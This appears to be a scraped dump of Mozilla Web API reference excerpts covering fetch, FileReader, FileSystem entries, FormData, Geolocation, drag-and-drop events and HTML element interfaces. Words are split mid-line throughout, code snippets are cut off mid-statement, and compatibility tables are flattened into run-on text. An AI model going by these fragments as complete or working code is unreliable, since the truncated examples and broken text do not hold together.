... return fetch(event.request); }()); }); specifications specification status comment ser
vice workersthe definition of 'preloadresponse' in that specification.
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval beha
vior).
... when a cross-origin fetch invol
ving a relative url is initiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location.
...it is just that different apis that exhibit this kind of beha
vior were doing it inconsistently with the beha
vior defined in the spec, which could lead to problems further down the line.
...so in the case described above, it is resolved against the iframe's location: let absolute = new url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this beha
vior change, to mitigate potential problems going forward.
FileReader.readAsDataURL() - Web APIs
note: the blob's result cannot be directly decoded as base64 without first remo
ving the data-url declaration preceding the base64-encoded data.
... example html <input type="file" onchange="pre
viewfile()"><br> <img src="" height="200" alt="image pre
view..."> javascript function pre
viewfile() { const pre
view = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string pre
view.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="pre
viewfi...
...les()" multiple> <div id="pre
view"></div> javascript function pre
viewfiles() { var pre
view = document.queryselector('#pre
view'); var files = document.queryselector('input[type=file]').files; function readandpre
view(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; pre
view.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpre
view); } } note: the filereader() constructor was not supported by internet ex...
...for a full compatibility code you can see our crossbrowser possible solution for image pre
view.
FileSystemDirectoryEntry.createReader() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreatereader experimentalchrome full support 13edge full support 79firefox full support 50ie no support noopera no supp...
...ort nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
you should pro
vide an errorcallback to watch for and handle this, perhaps by trying again.
... example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred while remo
ving the directory */ }); browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverecursively deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.ie no support noopera no support ...
... nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full...
FileSystemEntry.filesystem - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystem experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
FileSystemEntry.getMetadata() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetmetadata experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera ...
... no support nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
FileSystemEntry.getParent() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetparent experimentalchrome full support 8edge full support 79firefox no support noie no support noopera no support ...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
FileSystemEntry.name - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
FileSystemEntry.toURL() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettourl experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera ...
... no support nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
FileSystemFileEntry - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemfileentrychrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: fileentryedge full support 79prefixed ...
... full support 79prefixed prefixed implemented with the vendor prefix: webkitfirefox full support 50ie no support noopera no support nosafari full support 11.1web
view android full support ≤37alternate name full support ≤37alternate name alternate name uses the non-standard name: fileentrychrome android full support 18alternate name full support 18alternate name alternate name uses the non-standard name:...
...rt 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera ...
...filechrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android ...
FileSystemSync - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemsync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed ...
... noopera full support 15prefixed full support 15prefixed prefixed implemented with the vendor prefix: webkitsafari full support 6prefixed full support 6prefixed prefixed implemented with the vendor prefix: webkitweb
view android full support ≤37prefixed full support ≤37prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 18prefixed full support 18prefixed prefixed implemented with the vendor pr...
...ardchrome full support 13edge full support ≤79firefox no support noie no support noopera full support 15safari full support 6web
view android full support ≤37chrome android full support 18firefox android no support noopera android full support 14safari ios full support 6samsung internet android ...
...ardchrome full support 13edge full support ≤79firefox no support noie no support noopera full support 15safari full support 6web
view android full support ≤37chrome android full support 18firefox android no support noopera android full support 14safari ios full support 6samsung internet android ...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent() constructor experimentalchrome full support 57edge full support ≤79firefox ?
... web
view android no support nochrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
FontFaceSetLoadEvent.fontfaces - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfaces experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
... web
view android no support nochrome android full support 35firefox android full support yesopera android full support 22safari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
Using FormData Objects - Web APIs
retrie
ving a formdata object from an html form to construct a formdata object that contains the data from an existing <form>, specify that form element when creating the formdata object: note: formdata will only use input fields that use the name attribute.
... var formdata = new formdata(someformelement); for example: var formelement = document.queryselector("form"); var request = new xmlhttprequest(); request.open("post", "submitform.php"); request.send(new formdata(formelement)); you can also append additional data to the formdata object between retrie
ving it from a form and sending it, like this: var formelement = document.queryselector("form"); var formdata = new formdata(formelement); var request = new xmlhttprequest(); request.open("post", "submitform.php"); formdata.append("serialnumber", serialnumber++); request.send(formdata); this lets you augment the form's data before sending it along, to include additional information that's not necessarily user-editable.
... formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr let request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); note: the formdata event and formdataevent object are available in chrome from version 77 (and other equivalent chromiums), and firefox 72 (first available behind the dom.formdata.event.enabled pref in firefox 71).
... submitting forms and uploading files
via ajax without formdata objects if you want to know how to serialize and submit a form
via ajax without using formdata objects, please read this paragraph.
Frame Timing API - Web APIs
the performanceframetiming interface pro
vides frame timing data about the browser's event loop.
...this data can be used to help identify areas that take too long to pro
vide a good user experience.
...when one of those event types is recorded in the browser's performance timeline, the application is notified of the event
via the observer's callback function that was specified when the observer was created.
...if this value is greater than the time needed to pro
vide a good user experience, further analysis might be warranted.
Geolocation.watchPosition() - Web APIs
the geolocation method watchposition() method is used to register a handler function that will be called automatically each time the position of the de
vice changes.
... syntax na
vigator.geolocation.watchposition(success[, error[, options]]) parameters success a callback function that takes a geolocationposition object as an input parameter.
... options optional an optional positionoptions object that pro
vides configuration options for the location watch.
... examples var id, target, options; function success(pos) { var crd = pos.coords; if (target.latitude === crd.latitude && target.longitude === crd.longitude) { console.log('congratulations, you reached the target'); na
vigator.geolocation.clearwatch(id); } } function error(err) { console.warn('error(' + err.code + '): ' + err.message); } target = { latitude : 0, longitude: 0 }; options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = na
vigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation apithe definit...
GeolocationCoordinates.heading - Web APIs
the geolocationcoordinates.heading read-only property is a double representing the direction in which the de
vice is traveling.
... this value, specified in degrees, indicates how far off from heading due north the de
vice is.
...if the de
vice is not able to pro
vide heading information, this value is null.
... syntax let heading = geolocationcoordinatesinstance.heading value a double representing the direction in which the de
vice is traveling.
GlobalEventHandlers.onauxclick - Web APIs
the auxclick event is raised when a non-primary button has been pressed on an input de
vice (e.g., a middle mouse button).
... note: browser vendors are implementing this property as part of a plan to improve compatibility with regards to button beha
viors.
... specifically, event beha
vior is being updated so that click only fires for primary button clicks (e.g., left mouse button), while auxclick fires for non-primary button clicks.
... historically, click has generally fired for the click of any de
vice input button, although with browser beha
vior being somewhat inconsistent.
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setd...
..."dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to
visually indicate // the drag ended.
...</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragend' in that specification.
... li
ving standard html 5.1the definition of 'ondragend' in that specification.
GlobalEventHandlers.ondragenter - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setd...
..."dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to
visually indicate // the drag ended.
...</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragenter' in that specification.
... li
ving standard html 5.1the definition of 'ondragenter' in that specification.
GlobalEventHandlers.ondragexit - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setd...
..."dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to
visually indicate // the drag ended.
.../h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragexit' in that specification.
... li
ving standard html 5.1the definition of 'ondragexit' in that specification.
GlobalEventHandlers.ondragleave - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text"...
..."); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to
visually indicate // the drag ended.
.../h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragleave' in that specification.
... li
ving standard html 5.1the definition of 'ondragleave' in that specification.
GlobalEventHandlers.onwheel - Web APIs
the wheel event fires when the user rotates the mouse (or other pointing de
vice) wheel.
... examples this example shows how to scale an element using the mouse (or other pointing de
vice) wheel.
...e *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result specification specification status comment html li
ving standardthe definition of 'onwheel' in that specification.
... li
ving standard ...
Gyroscope.Gyroscope() - Web APIs
the gyroscope constructor creates a new gyroscope object which pro
vides on each reading the angular velocity of the de
vice along all three axes.
...the actual reading frequency depends de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
HTMLAudioElement - Web APIs
the htmlaudioelement interface pro
vides access to the properties of <audio> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y...
... specifications specification status comment html li
ving standardthe definition of 'htmlaudioelement' in that specification.
... li
ving standard html5the definition of 'htmlaudioelement' in that specification.
HTMLCanvasElement.toDataURL() - Web APIs
color in this example): html <img class="grayscale" src="mypicture.png" alt="description of my picture" /> javascript window.addeventlistener('load', removecolors); function showcolorimg() { this.style.display = 'none'; this.nextsibling.style.display = 'inline'; } function showgrayimg() { this.pre
vioussibling.style.display = 'inline'; this.style.display = 'none'; } function removecolors() { var aimages = document.getelementsbyclassname('grayscale'), nimgslen = aimages.length, ocanvas = document.createelement('canvas'), octx = ocanvas.getcontext('2d'); for (var nwidth, nheight, oimgdata, ograyimg, npixel, apix, npixlen, nimgid = 0; nimgid < nimgslen; nimgid++) { o...
...imagedata(oimgdata, 0, 0); ograyimg = new image(); ograyimg.src = ocanvas.todataurl(); ograyimg.onmouseover = showcolorimg; ocolorimg.onmouseout = showgrayimg; octx.clearrect(0, 0, nwidth, nheight); ocolorimg.style.display = "none"; ocolorimg.parentnode.insertbefore(ograyimg, ocolorimg); } } specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.todataurl' in that specification.
... li
ving standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.todataurl' in that specification.
... recommendation snapshot of the html li
ving standard containing the initial definition.
HTMLDListElement - Web APIs
the htmldlistelement interface pro
vides special properties (beyond those of the regular htmlelement interface it also has available to it by inheritance) for manipulating definition list (<dl>) elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmldlistelement' in that specification.
... li
ving standard html5the definition of 'htmldlistelement' in that specification.
HTMLDataElement - Web APIs
the htmldataelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <data> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmldataelement' in that specification.
... li
ving standard html5the definition of 'htmldataelement' in that specification.
HTMLDataListElement - Web APIs
the htmldatalistelement interface pro
vides special properties (beyond the htmlelement object interface it also has available to it by inheritance) to manipulate <datalist> elements and their content.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmldatalistelement' in that specification.
... li
ving standard html5the definition of 'htmldatalistelement' in that specification.
HTMLDialogElement.close() - Web APIs
examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form
via the showmodal() method.
... from there you can click the cancel button to close the dialog (
via the htmldialogelement.close() method), or submit the form
via the submit button.
... specifications specification status comment html li
ving standardthe definition of 'close()' in that specification.
... li
ving standard html 5.1the definition of 'close()' in that specification.
HTMLDialogElement.open - Web APIs
examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form
via the showmodal() method.
... from there you can click the cancel button to close the dialog (
via the htmldialogelement.close() method), or submit the form
via the submit button.
... specifications specification status comment html li
ving standardthe definition of 'open' in that specification.
... li
ving standard html 5.1the definition of 'open' in that specification.
HTMLDialogElement.show() - Web APIs
examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form
via the show() method.
... from there you can click the cancel button to close the dialog (
via the htmldialogelement.close() method), or submit the form
via the submit button.
...tton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html li
ving standardthe definition of 'show()' in that specification.
... li
ving standard html 5.1the definition of 'show()' in that specification.
HTMLDialogElement.showModal() - Web APIs
examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form
via the showmodal() method.
... from there you can click the cancel button to close the dialog (
via the htmldialogelement.close() method), or submit the form
via the submit button.
... specifications specification status comment html li
ving standardthe definition of 'showmodal()' in that specification.
... li
ving standard html 5.1the definition of 'showmodal()' in that specification.
HTMLDivElement - Web APIs
the htmldivelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <div> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmldivelement' in that specification.
... li
ving standard html5the definition of 'htmldivelement' in that specification.
HTMLElement.isContentEditable - Web APIs
</p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').iscontenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status comment html li
ving standardthe definition of 'htmlelement.contenteditable' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html li
ving standard, no change from html5 html5the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html li
ving standard, initial definition.
HTMLElement.offsetTop - Web APIs
example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom)
view modulethe definition of 'offsettop' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsettopchrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 8safari full support ...
... 3web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support in compliance with the specification, this property will return null on webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".
...(ha
ving display:none does not affect this browser.) ...
HTMLElement: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the
viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer acti
vities.
... this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile de
vice.
... the de
vice's screen orientation is changed while the pointer is active.
HTMLEmbedElement - Web APIs
the htmlembedelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <embed> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,...
... specifications specification status comment html li
ving standardthe definition of 'htmlembedelement' in that specification.
... li
ving standard adds two obsolete properties, name and align, to help with compatibility with old web sites.
HTMLFieldSetElement - Web APIs
the htmlfieldsetelement interface pro
vides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of <fieldset> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlfieldsetelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlfieldsetelement' in that specification.
HTMLFormControlsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline poi...
... specifications specification status comment html li
ving standardthe definition of 'htmlformcontrolscollection' in that specification.
... li
ving standard no change since the last snapshot, html5.
... recommendation in this snapshot of html li
ving standard, the htmlformcontrolscollections is defined for the first time.
HTMLFrameSetElement - Web APIs
the htmlframesetelement interface pro
vides special properties (beyond those of the regular htmlelement interface they also inherit) for manipulating <frameset> elements.
... specifications specification status comment html li
ving standardthe definition of 'htmlframesetelement' in that specification.
... li
ving standard from the html5 snapshot, the windoweventhandlers interface now have a onlanguagechange property.
... recommendation snapshot of a pre
vious html li
ving standard frames are now obsolete.
HTMLHRElement - Web APIs
the htmlhrelement interface pro
vides special properties (beyond those of the htmlelement interface it also has available to it by inheritance) for manipulating <hr> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlhrelement' in that specification.
... li
ving standard the color property has been added, as an obsolete property, to increase compatibility with the existing web.
HTMLIFrameElement.csp - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcsp experimentalchrome full support 61edge full support ≤79firefox ?
... web
view android full support 61chrome android full support 61firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
